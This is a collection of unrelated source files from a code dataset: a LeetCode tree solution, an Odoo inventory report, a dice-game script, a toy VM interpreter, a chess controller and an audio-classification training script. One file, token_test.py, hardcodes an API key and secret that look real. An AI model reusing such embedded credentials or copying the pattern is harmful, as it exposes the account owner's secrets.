x\n# self.left = None\n# self.right = None\n\nfrom common.TreeNode import TreeNode\nclass BuildTree(object):\n def solutionMem(self, preorder, inorder):\n return self.AddTreeNode(preorder, 0, len(preorder), inorder, 0, len(inorder))\n \n def AddTreeNode(self, preorder, prestart, preend, inorder, instart, inend):\n nodesLen = preend - prestart\n if nodesLen == 0: return None\n elif nodesLen == 1: return TreeNode(preorder[prestart])\n root = TreeNode(preorder[prestart])\n rootIdx = inorder.index(preorder[prestart]) - instart\n root.left = self.AddTreeNode(preorder, prestart+1, prestart+rootIdx+1, inorder, instart, instart+rootIdx)\n root.right = self.AddTreeNode(preorder, prestart+rootIdx+1, preend, inorder, instart+rootIdx+1, inend)\n return root\n \n def solution(self, preorder, inorder): # not memory efficient since every recursive created new preorder/inorder lists\n \"\"\"\n :type preorder: List[int]\n :type inorder: List[int]\n :rtype: TreeNode\n \"\"\"\n nodeLen = len(preorder)\n if nodeLen == 0: return None\n elif nodeLen == 1: return TreeNode(preorder[0])\n root = TreeNode(preorder[0])\n for rootIdx in range(nodeLen):\n if inorder[rootIdx] == preorder[0]: break\n root.left = self.solution(preorder[1:rootIdx+1], inorder[:rootIdx])\n root.right = self.solution(preorder[rootIdx+1:], inorder[rootIdx+1:])\n return root\n \n ","sub_path":"leetcodepy/src/problemset/ConstructBinaryTreeFromPreorderAndInorderTraversal.py","file_name":"ConstructBinaryTreeFromPreorderAndInorderTraversal.py","file_ext":"py","file_size_in_byte":1684,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"281794280","text":"# -*- coding: utf-8 -*-\n\nimport base64\nimport datetime\nimport io\nfrom datetime import datetime\nfrom datetime import timedelta\n\nfrom odoo import fields, models, _\nfrom odoo.exceptions import ValidationError\n\ntry:\n import xlwt\nexcept ImportError:\n xlwt = None\n\n\nclass ResCompany(models.Model):\n _inherit = \"res.company\"\n\n breakdown_days_ids = fields.One2many('breakdown.days', 'company_id', string='Breakdown Configuration')\n\n\nclass BreakdownDays(models.Model):\n _name = \"breakdown.days\"\n _description = \"Breakdown Days\"\n\n day_start = fields.Integer(string=\"Day start\")\n day_end = fields.Integer(string=\"Day End\")\n company_id = fields.Many2one('res.company', string=\"Company\", default=lambda self: self.env.user.company_id)\n inventory_bd_id = fields.Many2one('inventory.breakdown', string=\"Inventory\")\n\n def print_exl_report(self):\n return True\n\n\nclass InventoryBreakdownExcel(models.TransientModel):\n _name = \"inventory.break.down.excel\"\n _description = \"Inventory Breakdown Excel\"\n\n excel_file = fields.Binary('Report file ')\n file_name = fields.Char('Excel file', size=64)\n\n\nclass InventoryBreakdown(models.Model):\n _name = \"inventory.breakdown\"\n _description = \"Inventory Breakdown\"\n\n generate_type = fields.Selection([('warehouse', 'Warehouse'), ('location', 'Location')], 'Report Based On',\n default='warehouse')\n warehouse_ids = fields.Many2many('stock.warehouse', string='Warehouse')\n location_ids = fields.Many2many('stock.location', string='Locations')\n breakdown_days_ids = fields.One2many('breakdown.days', 'inventory_bd_id')\n\n def get_product_stock(self):\n if not self.breakdown_days_ids:\n raise ValidationError(_(\"Please enter valid Period Lines !\"))\n ware_loc_list = []\n if self.location_ids:\n for loc in self.location_ids:\n for quant in loc.quant_ids.search([]):\n ware_loc_list.append(quant.product_id.id)\n if self.warehouse_ids:\n for ware in self.warehouse_ids:\n for quant in ware.lot_stock_id.quant_ids.search([]):\n ware_loc_list.append(quant.product_id.id)\n\n list_days = []\n if self.breakdown_days_ids:\n for days in self.breakdown_days_ids:\n start = days.day_start\n end = days.day_end\n st = datetime.now() - timedelta(days=start)\n en = datetime.now() - timedelta(days=end)\n product_obj = self.env['product.product'].search(\n [('id', 'in', ware_loc_list), ('write_date', '>=', str(en)), ('write_date', '<=', str(st))])\n if product_obj:\n list_days.append(product_obj)\n return list_days\n\n def get_ware_loc(self):\n if self.generate_type == 'warehouse':\n return self.warehouse_ids\n if self.generate_type == 'location':\n return self.location_ids\n\n def print_exl_report(self):\n filename = 'Inventory Breakdown Report.xls'\n get_product_stock = self.get_product_stock()\n get_ware_loc = self.get_ware_loc()\n workbook = xlwt.Workbook()\n stylePC = xlwt.XFStyle()\n alignment = xlwt.Alignment()\n alignment.horz = xlwt.Alignment.HORZ_CENTER\n fontP = xlwt.Font()\n fontP.bold = True\n fontP.height = 200\n stylePC.font = fontP\n stylePC.num_format_str = '@'\n stylePC.alignment = alignment\n style_title = xlwt.easyxf(\n \"font:height 300; font: name Liberation Sans, bold on,color black; align: horiz center;pattern: pattern solid, fore_colour aqua;\")\n style_table_header = xlwt.easyxf(\n \"font:height 200; font: name Liberation Sans, bold on,color black; align: horiz center\")\n style = xlwt.easyxf(\"font:height 200; font: name Liberation Sans,color black;\")\n worksheet = workbook.add_sheet('Sheet 1')\n worksheet.write_merge(0, 1, 0, 4, \"Inventory Breakdown Report\", style=style_title)\n worksheet.write(6, 0, 'Products', style_table_header)\n worksheet.write(6, 1, 'Qty', style_table_header)\n worksheet.write(6, 2, 'Qty(% of all Inventory)', style_table_header)\n worksheet.write(6, 3, 'Value ($)', style_table_header)\n worksheet.write(6, 4, 'Value(% of all Inventory)', style_table_header)\n\n if self.breakdown_days_ids:\n c = 0\n for days in self.breakdown_days_ids:\n c += 1\n if c == 1:\n total_days = str(days.day_start) + \" - \" + str(days.day_end) + \" Days Old\"\n worksheet.write_merge(5, 5, 0, 4, total_days, style_table_header)\n if c == 2:\n total_days = str(days.day_start) + \" - \" + str(days.day_end) + \" Days Old\"\n worksheet.write_merge(5, 5, 5, 9, total_days, style_table_header)\n if c == 3:\n total_days = str(days.day_start) + \" - \" + str(days.day_end) + \" Days Old\"\n worksheet.write_merge(5, 5, 10, 14, total_days, style_table_header)\n if c == 4:\n total_days = str(days.day_start) + \" - \" + str(days.day_end) + \" Days Old\"\n worksheet.write_merge(5, 5, 15, 19, total_days, style_table_header)\n if c > 4:\n raise ValidationError(_('Please enter maximum four(4) period lines !'))\n\n if self.generate_type == 'warehouse':\n worksheet.write_merge(3, 3, 0, 1, 'Warehouses ', style_table_header)\n else:\n worksheet.write_merge(3, 3, 0, 1, 'Locations ', style_table_header)\n col = 2\n for wl in get_ware_loc:\n worksheet.write(3, col, wl.name)\n col += 1\n total_qty = 0\n total_value = 0.0\n if get_product_stock:\n rec_c = 0\n for quants in get_product_stock:\n rec_c += 1\n if rec_c == 1:\n row = 7\n col = 0\n for pro_id in quants:\n if pro_id.qty_available:\n total_qty += pro_id.qty_available\n\n if pro_id.value_svl:\n total_value += pro_id.value_svl\n for quant in quants:\n worksheet.write(row, col, quant.display_name, style)\n worksheet.write(row, col + 1, quant.qty_available, style)\n if quant.qty_available:\n # total_qty += quant.qty_available\n qty_per_inv = ((quant.qty_available * 100) / total_qty)\n worksheet.write(row, col + 2, str(\"{:.2f}\".format(qty_per_inv)), style)\n\n worksheet.write(row, col + 3, quant.value_svl, style)\n if quant.value_svl:\n # total_value += quant.value_svl\n value_per_inv = ((quant.value_svl * 100) / total_value)\n worksheet.write(row, col + 4, value_per_inv, style)\n row += 1\n if rec_c == 2:\n row = 7\n worksheet.write(6, 5, 'Products', style_table_header)\n worksheet.write(6, 6, 'Qty', style_table_header)\n worksheet.write(6, 7, 'Qty(% of all Inventory)', style_table_header)\n worksheet.write(6, 8, 'Value ($)', style_table_header)\n worksheet.write(6, 9, 'Value(% of all Inventory)', style_table_header)\n for quant in quants:\n worksheet.write(row, 5, quant.name, style)\n worksheet.write(row, 6, quant.qty_available, style)\n if quant.qty_available:\n total_qty += quant.qty_available\n qty_per_inv = ((quant.qty_available * 100) / total_qty)\n worksheet.write(row, 7, str(\"{:.2f}\".format(qty_per_inv)), style)\n worksheet.write(row, 8, quant.value_svl, style)\n if quant.value_svl:\n total_value += quant.value_svl\n value_per_inv = ((quant.value_svl * 100) / total_value)\n worksheet.write(row, 9, value_per_inv, style)\n row += 1\n if rec_c == 3:\n row = 7\n worksheet.write(6, 10, 'Products', style_table_header)\n worksheet.write(6, 11, 'Qty', style_table_header)\n worksheet.write(6, 12, 'Qty(% of all Inventory)', style_table_header)\n worksheet.write(6, 13, 'Value ($)', style_table_header)\n worksheet.write(6, 14, 'Value(% of all Inventory)', style_table_header)\n for quant in quants:\n if quant.value_svl:\n value_per_inv = ((quant.value_svl * 100) / total_value)\n worksheet.write(row, 10, quant.name, style)\n worksheet.write(row, 11, quant.qty_available, style)\n if quant.qty_available:\n total_qty += quant.qty_available\n qty_per_inv = ((quant.qty_available * 100) / total_qty)\n worksheet.write(row, 7, str(\"{:.2f}\".format(qty_per_inv)), style)\n worksheet.write(row, 13, quant.value_svl, style)\n if quant.value_svl:\n total_value += quant.value_svl\n value_per_inv = ((quant.value_svl * 100) / total_value)\n worksheet.write(row, 9, value_per_inv, style)\n row += 1\n if rec_c == 4:\n row = 7\n worksheet.write(6, 15, 'Products', style_table_header)\n worksheet.write(6, 16, 'Qty', style_table_header)\n worksheet.write(6, 17, 'Qty(% of all Inventory)', style_table_header)\n worksheet.write(6, 18, 'Value ($)', style_table_header)\n worksheet.write(6, 19, 'Value(% of all Inventory)', style_table_header)\n for quant in quants:\n total_qty += quant.qty_available\n qty_per_inv = ((quant.qty_available * 100) / total_qty)\n total_value += quant.value_svl\n if quant.value_svl:\n value_per_inv = ((quant.value_svl * 100) / total_value)\n worksheet.write(row, 15, quant.name, style)\n worksheet.write(row, 16, quant.qty_available, style)\n if quant.qty_available:\n total_qty += quant.qty_available\n qty_per_inv = ((quant.qty_available * 100) / total_qty)\n worksheet.write(row, 7, str(\"{:.2f}\".format(qty_per_inv)), style)\n worksheet.write(row, 18, quant.value_svl, style)\n if quant.value_svl:\n total_value += quant.value_svl\n value_per_inv = ((quant.value_svl * 100) / total_value)\n worksheet.write(row, 9, value_per_inv, style)\n row += 1\n fp = io.BytesIO()\n workbook.save(fp)\n export_id = self.env['inventory.age.report.excel'].create(\n {'excel_file': base64.encodestring(fp.getvalue()), 'file_name': filename})\n res = {\n 'view_mode': 'form',\n 'res_id': export_id.id,\n 'name': 'Inventory Breakdown Report',\n 'res_model': 'inventory.age.report.excel',\n 'view_type': 'form',\n 'type': 'ir.actions.act_window',\n 'target': 'new'\n }\n return res\n","sub_path":"customaddons/sim_inventory_report/models/inventory_break_down.py","file_name":"inventory_break_down.py","file_ext":"py","file_size_in_byte":12097,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"282464667","text":"import sys\nsys.stdin = open(\"주사위 게임.txt\", \"rt\", encoding = \"utf-8-sig\")\nins = []\n\nn = int(input()) #readline\nfor i in range(n) :\n ins.append(list(map(int,input().split())))\n\nresult = {}\n\nfor i in range(n) :\n don = 0\n x=ins[i]\n cntList = list(map(x.count, x))\n if max(cntList) == 3 :\n don = 10000+1000*int(x[cntList.index(max(cntList))])\n elif max(cntList) == 2 :\n don = 1000+100*int(x[cntList.index(max(cntList))])\n else :\n don = 100*int(max(x))\n result[i] = don\nprint(\"게임의 최고 상금은 :\",max(result.values()))\n\n\n\n\n\n\n\n#----------------------------------------------------------\n\n\n# inFp = open(\"주사위 게임.txt\", \"r\", encoding = \"utf-8-sig\")\n# while True:\n# inStr = inFp.readline()\n# if not inStr :\n# break\n# else :\n# ins.append(inStr.split())\n\n\n\n# result = {}\n# don = 0\n# for i in range(1, int(ins[0][0])+1) :\n# x=ins[i]\n# cntList = list(map(x.count, x))\n# if max(cntList) == 3 :\n# don = 10000+1000*int(x[cntList.index(max(cntList))])\n# elif max(cntList) == 2 :\n# don = 1000+100*int(x[cntList.index(max(cntList))])\n# else :\n# don = 100*int(max(x))\n# result[i] = don\n# print(max(result.values()))\n# print(don)\n\n\n\n\n\n\n# print(ins)\n\n# inFp.close()\n","sub_path":"Python_project/알고리즘/주사위 게임.py","file_name":"주사위 게임.py","file_ext":"py","file_size_in_byte":1299,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"90738669","text":"#coding=utf-8\n\nimport base64\n# key和secret的值需要替换成我们为客户提供的key和secret\nkey = \"4f09cd00-380a-4f27-abcc-2fb731d947e6\"\nsecret = \"354a38bd7af6c31d55a7178e3302a621e6f7d829\"\n\nstring = \"app:%s:%s\" % (key, secret)\nbstring = base64.b64encode(string.encode(\"utf8\")).decode('utf8')\nauth = \"Bearer %s\" % bstring\nprint(auth)","sub_path":"token_test.py","file_name":"token_test.py","file_ext":"py","file_size_in_byte":341,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"561316105","text":"#encoding: utf-8\nfrom stack import Stack, Stacks\n\nimport string\nimport math\nimport sys\n\nclass VM:\n ZERO_REGISTER_NAME = \"zr\"\n ONE_REGISTER_NAME = \"or\"\n\n OPERATIONS = [\n \"set\",\n \"add\", \"sub\", \"mul\", \"div\", \"pow\", \"mod\",\n \"and\", \"or\", \"xor\",\n \"equ\", \"neq\", \"gtr\", \"lss\", \"geq\", \"leq\",\n \"log\", \"l10\", \"lg2\",\n \"int\", \"flt\",\n \"psh\", \"pop\", \"clr\", \"len\", \"cpy\", \"mks\", \"stn\",\n \"jmp\", \"gln\",\n \"stv\", \"ldr\", \"lds\",\n \"chr\", \"prt\", \"gch\", \"gtx\",\n ]\n\n OPERATORS = [\n \"add\", \"sub\", \"mul\", \"div\", \"pow\", \"mod\",\n \"and\", \"or\", \"xor\",\n \"equ\", \"neq\", \"gtr\", \"lss\", \"geq\", \"leq\",\n ]\n\n THREE_PARAMETERS = [\n \"add\", \"sub\", \"mul\", \"div\", \"pow\", \"mod\",\n \"and\", \"or\", \"xor\",\n \"equ\", \"neq\", \"gtr\", \"lss\", \"geq\", \"leq\",\n \"log\",\n ]\n\n TWO_PARAMETERS = [\n \"set\",\n \"int\", \"flt\",\n \"psh\", \"pop\", \"len\", \"cpy\",\n \"l10\", \"lg2\", \n \"jmp\", \n \"stv\", \"ldr\", \"lds\",\n \"prt\", \"gtx\",\n ]\n\n ONE_PARAMETER = [\n \"clr\", \"stn\",\n \"gln\",\n \"chr\", \"gch\",\n ]\n \n NO_PARAMETERS = [\n \"mks\", \n ]\n\n PARAM_NUMBER = {o: 3 for o in THREE_PARAMETERS}\n PARAM_NUMBER.update({o: 2 for o in TWO_PARAMETERS})\n PARAM_NUMBER.update({o: 1 for o in ONE_PARAMETER})\n PARAM_NUMBER.update({o: 0 for o in NO_PARAMETERS})\n\n REGISTER_LIST = list(string.ascii_lowercase) + [ZERO_REGISTER_NAME, ONE_REGISTER_NAME]\n REGISTER_N = len(REGISTER_LIST)\n REGISTER_NUMBER = {name: rn for rn, name in enumerate(REGISTER_LIST)}\n \n def __init__(self, code):\n self.code = code\n self.lines = self.code.split(\"\\n\")\n\n self.current_line_number = 0\n\n self.stacks = Stacks()\n\n self.register = [0 for i in range(len(self.REGISTER_LIST))]\n self.register[self.REGISTER_LIST.index(\"or\")] = 1\n\n self.label = {}\n self.environment = {}\n self.scan_labels()\n\n def set_register_value(self, register, value):\n ok, rn = self.eval_value(register)\n if not ok: return False\n\n return self.set_register_number_value(rn, value)\n\n def set_register_number_value(self, rn, value):\n if rn < 0 or rn >= self.REGISTER_N:\n return False\n\n if not (isinstance(value, int) or isinstance(value, float)):\n return False\n\n if self.REGISTER_LIST[rn] in [self.ZERO_REGISTER_NAME, self.ONE_REGISTER_NAME]:\n return True\n\n self.register[rn] = value\n\n return True\n\n def set_variable(self, name, value):\n if name[0].isdigit(): return False\n\n self.environment[name] = value\n\n return True\n\n def load_variable(self, name):\n if name in self.environment: return False, -1\n\n return True, self.environment[name]\n\n def set_label(self, label, number):\n self.label[label[1:]] = number\n\n def label_to_line_number(self, label):\n if label[1:] not in self.label:\n return False, -1\n\n return True, self.label[label[1:]]\n\n def eval_value(self, value):\n #numerical value\n #integer\n if value.isdigit():\n return True, int(value)\n\n #float\n if value.replace(\".\", \"\", 1).isdigit():\n return True, float(value)\n\n #register name\n if value in self.REGISTER_LIST:\n return True, self.REGISTER_NUMBER[value]\n\n #register value\n if value[0] == \"$\" and value[1:] in self.REGISTER_LIST:\n ok, rn = self.eval_value(value[1:])\n if not ok: return False\n return True, self.register[rn]\n\n #label name\n if value[0] == \":\" and value[1:] in self.label:\n return self.label_to_line_number(value)\n\n return False, -1\n\n def scan_labels(self):\n for n, line in enumerate(self.lines):\n line = line.split()\n if len(line) == 1 and line[0][0] == \":\":\n self.set_label(line[0], n)\n\n def error(self):\n print(f\"An ERROR occurred on line {self.current_line_number}.\")\n\n return False\n\n def increment_line_number(self):\n self.current_line_number += 1\n\n def run(self):\n while self.current_line_number < len(self.lines):\n line = self.lines[self.current_line_number]\n ok = self.eval_line(line)\n if not ok:\n self.error()\n return False\n return True\n\n def eval_line(self, line):\n if len(line) == 0:\n self.increment_line_number()\n return True\n\n if line[0][0] in [\":\", \";\"]:\n self.increment_line_number()\n return True\n \n line = line.split()\n operation = line[0]\n\n if operation not in self.OPERATIONS:\n return False\n\n params = line[1:]\n param_n = len(params)\n\n if param_n != self.PARAM_NUMBER[operation]:\n return False\n \n ok = self.execute_operation(operation, *params)\n self.increment_line_number()\n\n return ok\n \n def execute_operation(self, operation, p1=None, p2=None, p3=None):\n if operation in self.OPERATORS:\n ok1, v1 = self.eval_value(p1)\n ok2, v2 = self.eval_value(p2)\n\n if not (ok1 & ok2): return False\n\n r1 = p3\n v = -1\n\n if operation == \"add\":\n v = v1 + v2\n elif operation == \"sub\":\n v = v1 - v2\n elif operation == \"mul\":\n v = v1 * v2\n elif operation == \"div\":\n if v2 == 0: return False\n v = v1 / v2\n elif operation == \"pow\":\n v = v1 ** v2\n elif operation == \"mod\":\n if v2 == 0: return False\n v = v1 % v2\n\n elif operation == \"and\":\n v = v1 & v2\n elif operation == \"or\":\n v = v1 | v2\n elif operation == \"xor\":\n v = v1 ^ v2\n\n elif operation == \"equ\":\n v = int(v1 == v2)\n elif operation == \"neq\":\n v = int(v1 != v2)\n elif operation == \"gtr\":\n v = int(v1 > v2)\n elif operation == \"lss\":\n v = int(v1 < v2)\n elif operation == \"geq\":\n v = int(v1 >= v2)\n elif operation == \"leq\":\n v = int(v1 <= v2)\n \n return self.set_register_value(r1, v)\n \n elif operation == \"set\":\n ok, v1 = self.eval_value(p1)\n if not ok: return False\n\n r1 = p2\n\n return self.set_register_value(r1, v1)\n\n elif operation == \"log\":\n ok1, v1 = self.eval_value(p1)\n ok2, v2 = self.eval_value(p2)\n if not (ok1 & ok2): return False\n\n r1 = p3\n\n v = math.log(v2, v1)\n\n return self.set_register_value(r1, v)\n\n elif operation == \"l10\":\n ok, v1 = self.eval_value(p1)\n if not ok: return false\n \n r1 = p2\n v = math.log10(v1)\n return self.set_register_value(r1, v)\n\n elif operation == \"lg2\":\n ok, v1 = self.eval_value(p1)\n if not ok: return false\n \n r1 = p2\n v = math.log2(v1)\n return self.set_register_value(r1, v)\n \n\n elif operation in [\"int\", \"flt\"]:\n ok, v1 = self.eval_value(p1)\n if not ok: return False\n \n r1 = p2\n\n if operation == \"int\":\n v = int(v1)\n\n elif operation == \"flt\":\n v = int(v1)\n\n return self.set_register_value(r1, v)\n\n elif operation == \"jmp\":\n ok1, v1 = self.eval_value(p1)\n ok2, l1 = self.eval_value(p2)\n\n if not (ok1 & ok2): return False\n\n if v1 == 1:\n self.current_line_number = l1\n else:\n pass\n\n return True\n\n elif operation == \"gln\":\n r1 = p1\n return self.set_register_value(r1, self.current_line_number)\n\n elif operation == \"psh\":\n ok1, s1 = self.eval_value(p1)\n ok2, v1 = self.eval_value(p2)\n \n if not (ok1 & ok2): return False\n \n return self.stacks.push_value(s1, v1)\n\n elif operation == \"pop\":\n ok, s1 = self.eval_value(p1)\n if not ok: return False\n\n r1 = p2\n\n ok, v = self.stacks.remove(s1)\n if not ok: return False\n\n return self.set_register_value(r1, v)\n\n elif operation == \"len\":\n ok, s1 = self.eval_value(p1)\n if not ok: return False\n\n ok, v = self.stacks.get_length(s1)\n if not ok: return False\n\n r1 = p2\n\n return self.set_register_value(r1, v)\n\n elif operation == \"clr\":\n ok, s1 = self.eval_value(p1)\n if not ok: return False\n\n return self.stacks.clear(s1)\n\n elif operation == \"cpy\":\n ok1, s1 = self.eval_value(p1)\n ok2, s2 = self.eval_value(p2)\n if not (ok1 & ok2): return False\n\n return self.stacks.copy(s1, s2)\n\n elif operation == \"mks\":\n self.stacks.make_new_stack()\n return True\n\n elif operation == \"stn\":\n r1 = p1\n v = self.stacks.get_stack_number()\n\n return self.set_register_value(r1, v)\n\n elif operation == \"stv\":\n l1 = p1\n ok, v1 = self.eval_value(p2)\n\n if not ok: return False\n\n return self.set_variable(l1, v1)\n\n elif operation == \"ldr\":\n l1 = p1\n r1 = p2\n\n ok, v = self.load_variable(l1)\n if not ok: return False\n\n return self.set_register_value(r1, v)\n\n elif operation == \"lds\":\n l1 = p1\n ok, s1 = self.eval_value(p2)\n\n ok, v = self.load_variable(l1)\n if not ok: return False\n\n return self.stacks.push_value(s1, v)\n\n elif operation == \"chr\":\n ok, v1 = self.eval_value(p1)\n if not ok: return False\n\n print(chr(v1), end=\"\")\n return True\n\n elif operation == \"prt\":\n ok1, s1 = self.eval_value(p1)\n ok2, v1 = self.eval_value(p2)\n\n if not (ok1 & ok2): return False\n if not isinstance(v1, int): return False\n\n for i in range(v1):\n ok, v = self.stacks.remove(s1)\n if not ok: return False\n\n print(chr(v), end=\"\")\n\n return True\n\n elif operation == \"gch\":\n r1 = p1\n\n inp = input()\n\n if inp == \"\": v = -1\n else: v = ord(inp[0])\n\n self.set_register_value(r1, v)\n\n elif operation == \"gtx\":\n ok, s1 = self.eval_value(p1)\n if not ok: return False\n\n r1 = p2\n inp = input()\n\n if inp == \"\":\n txt = [-1]\n v = 0\n else:\n txt = [ord(c) for c in reversed(inp)]\n v = len(inp)\n \n for c in txt:\n ok = self.stacks.push_value(s1, v)\n if not ok: return False\n\n return self.set_register_value(r1, v)\n\n","sub_path":"vm.py","file_name":"vm.py","file_ext":"py","file_size_in_byte":11447,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"181288171","text":"from __future__ import annotations\nfrom typing import TYPE_CHECKING\nif TYPE_CHECKING:\n from chessmaker.typings import Piece\n from typing import Dict, Iterable, List\n\nfrom chessmaker import Color, Controller, Direction, InventoryItem, Ply, Vector2\nfrom chessmaker.info_elements import InfoButton\nfrom chessmaker.actions import MoveAction, CreateAction\nfrom ....packs.standard.pieces import Bishop, King, Knight, Pawn, Queen, Rook\nfrom ....packs.standard.helpers import rotate_direction\n\n\nclass Creative(Controller):\n colors = [\n Color.WHITE,\n Color.BLACK,\n Color.RED,\n Color.ORANGE,\n Color.YELLOW,\n Color.GREEN,\n Color.BLUE,\n Color.PURPLE,\n ]\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n\n self.inventories: Dict[Color, List[InventoryItem]] = {color: [\n InventoryItem(Pawn(color, Direction.NORTH), '∞'),\n InventoryItem(Knight(color, Direction.NORTH), '∞'),\n InventoryItem(Bishop(color, Direction.NORTH), '∞'),\n InventoryItem(Rook(color, Direction.NORTH), '∞'),\n InventoryItem(Queen(color, Direction.NORTH), '∞'),\n InventoryItem(King(color, Direction.NORTH), '∞'),\n ] for color in self.colors}\n\n def init_board(self, board: Dict[Vector2, Piece]) -> None:\n for color in self.colors:\n self.game.update_inventory(color, self.inventories[color])\n\n self.game.update_public_info([InfoButton('Rotate Pieces', self._rotate_pieces)])\n\n def get_plies(self, color: Color, from_pos: Vector2, to_pos: Vector2) -> Iterable[Ply]:\n return Ply('Move', [MoveAction(from_pos, to_pos)]),\n\n def get_inventory_plies(self, color: Color, piece: Piece, pos: Vector2) -> Iterable[Ply]:\n return Ply('Create', [CreateAction(piece, pos)]),\n\n def _rotate_pieces(self, color: Color) -> None:\n for item in self.inventories[color]:\n item.piece.direction = rotate_direction(item.piece.direction)\n\n self.game.update_inventory(color, self.inventories[color])\n\n\nclass Creative8x8(Creative, Controller):\n name = 'Creative 8x8'\n board_size = Vector2(8, 8)\n\n\nclass Creative32x32(Creative, Controller):\n name = 'Creative 32x32'\n board_size = Vector2(32, 32)\n","sub_path":"app/chessmaker/packs/standard/controllers/creative.py","file_name":"creative.py","file_ext":"py","file_size_in_byte":2302,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"554352692","text":"from os import name\nimport sys\n\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nfrom data_engin import Data_Engin\nfrom models.model import ENSEMBLE, ENSEMBLE2, VGG_M, VGG_M2, DCASE_PAST, DCASE_PAST2\nfrom fit_model import Fit_Model\n\nimport argparse\n\nparser = argparse.ArgumentParser()\n\nparser.add_argument('--save_model_address',\n default = './model_zoo/dcase_tests/',\n help = 'Path to save models.')\nparser.add_argument('--spectra',\n default = 'mel_spectrum',\n help = 'Type of spectrogram: [mel_spectrum, spectrum]')\nparser.add_argument('--method',\n default = 'post',\n help = 'Timing to merge channels: [pre, post]')\nparser.add_argument('--mono',\n default = 'mean',\n help = 'Method to merge channels: [mean, diff]')\nparser.add_argument('--epoch',\n default = 30,\n help = 'Number of epochs to run.')\nparser.add_argument('--batch_size',\n default = 16,\n help = 'Batch size to be used.')\nparser.add_argument('--n_mels',\n default = 128,\n help = 'Number of mel features to extract.')\nparser.add_argument('--win_len',\n default = 1024,\n help = 'Window length to be used.')\nparser.add_argument('--hop_len',\n default = 102,\n help = 'Hop length to be used.')\n\nargs = parser.parse_args()\n\nclass Main_Train:\n def __init__(self, attr):\n if not isinstance(attr, dict):\n sys.exit('InitializError: Please provide class attributes in dictionary.')\n \n for name, value in attr.items():\n self.__setattr__(name, value)\n \n def load_data_engin(self, train_addr, valid_addr):\n torch.cuda.empty_cache()\n self.train_addr = train_addr\n self.valid_addr = valid_addr\n\n self.train = Data_Engin(method=self.method,\n mono=self.mono, \n address=self.train_addr,\n spectra_type=self.spectra_type,\n device=self.device, \n batch_size=self.batch_size,\n fs=self.fs,\n n_fft=self.n_fft,\n n_mels=self.n_mels,\n win_len=self.win_len,\n hop_len=self.hop_len)\n\n self.valid = Data_Engin(method=self.method,\n mono=self.mono,\n address=self.valid_addr,\n spectra_type=self.spectra_type,\n device=self.device, \n batch_size=self.batch_size,\n fs=self.fs,\n n_fft=self.n_fft,\n n_mels=self.n_mels,\n win_len=self.win_len,\n hop_len=self.hop_len)\n\n def get_network(self, network_type, models, multiple_gpu=True):\n if network_type == 'single':\n network = next(iter(models.values()))\n \n elif network_type == 'ensemble':\n network = ENSEMBLE2(model_a=models['model_a'],\n model_b=models['model_b'],\n no_class=self.no_class)\n\n if multiple_gpu:\n if torch.cuda.device_count() > 1:\n print(\"Let's use\", torch.cuda.device_count(), \"GPUs!\")\n network = nn.DataParallel(network, device_ids=[0, 1])\n \n return network.to(self.device) \n\n def fit_and_train(self, network, optimizer, criteria, save_model_address=None, save_mode=True):\n if save_model_address:\n self.save_model_address = save_model_address\n \n fit_model_class = Fit_Model(network=network,\n device=self.device,\n optimizer=optimizer,\n criteria=criteria,\n lr_state=self.lr_state,\n save_model_address=self.save_model_address)\n\n fit_model_class.train_model(no_epoch=self.epoch, train_data_engine=self.train,\n valid_data_engine=self.valid, save_mode=save_mode)\n \n return fit_model_class.network\n \n def show_model_config(self, network_name):\n cfg = vars(self.train)\n print(f'Finished training: \\nmodel: {network_name}')\n print('\\n'.join((f'{item}: {cfg[item]}' \\\n for item in cfg if item not in ['data', 'transform', 'batch_itr'])))\n\nif __name__ == '__main__':\n # hyper-parameters\n attr = {\n 'save_model_address': args.save_model_address,\n 'no_class': 10,\n 'epoch': int(args.epoch),\n 'lr': 0.0001,\n 'lr_state': {'lr': 0.0001,\n 'learning_rate_decay_start': 10,\n 'learning_rate_decay_every': 3,\n 'learning_rate_decay_rate': 0.9\n },\n 'method': args.method,\n 'mono': 'mean',\n 'spectra_type': args.spectra,\n 'batch_size': int(args.batch_size),\n 'fs': 48000,\n 'n_fft': int(args.win_len),\n 'n_mels': int(args.n_mels),\n 'device': torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\"),\n 'win_len': int(args.win_len),\n 'hop_len': int(args.hop_len)\n }\n attr2 = {\n 'save_model_address': args.save_model_address,\n 'no_class': 10,\n 'epoch': int(args.epoch),\n 'lr': 0.0001,\n 'lr_state': {'lr': 0.0001,\n 'learning_rate_decay_start': 10,\n 'learning_rate_decay_every': 3,\n 'learning_rate_decay_rate': 0.9\n },\n 'method': args.method,\n 'mono': 'diff',\n 'spectra_type': args.spectra,\n 'batch_size': int(args.batch_size),\n 'fs': 48000,\n 'n_fft': int(args.win_len),\n 'n_mels': int(args.n_mels),\n 'device': torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\"),\n 'win_len': int(args.win_len),\n 'hop_len': int(args.hop_len)\n }\n trained_models = dict()\n \n # main train class\n trainer = Main_Train(attr=attr)\n trainer.load_data_engin(train_addr='./dataset/dcase/evaluation_setup/modify_train.csv',\n valid_addr='./dataset/dcase/evaluation_setup/modify_evaluate.csv')\n trainer2 = Main_Train(attr=attr2)\n trainer2.load_data_engin(train_addr='./dataset/dcase/evaluation_setup/modify_train.csv',\n valid_addr='./dataset/dcase/evaluation_setup/modify_evaluate.csv')\n \n # --------------------------------------------------------------------------------------------------------- #\n # load first model\n model_a = {'model_a': VGG_M2(no_class=trainer.no_class)}\n network = trainer.get_network('single', models=model_a, multiple_gpu=False)\n\n # train first model\n optimizer = optim.SGD(network.parameters(),\n lr=trainer.lr,\n momentum=0.9,\n weight_decay=5e-4)\n criteria = nn.CrossEntropyLoss()\n trained_models['model_a'] = trainer.fit_and_train(network=network,\n 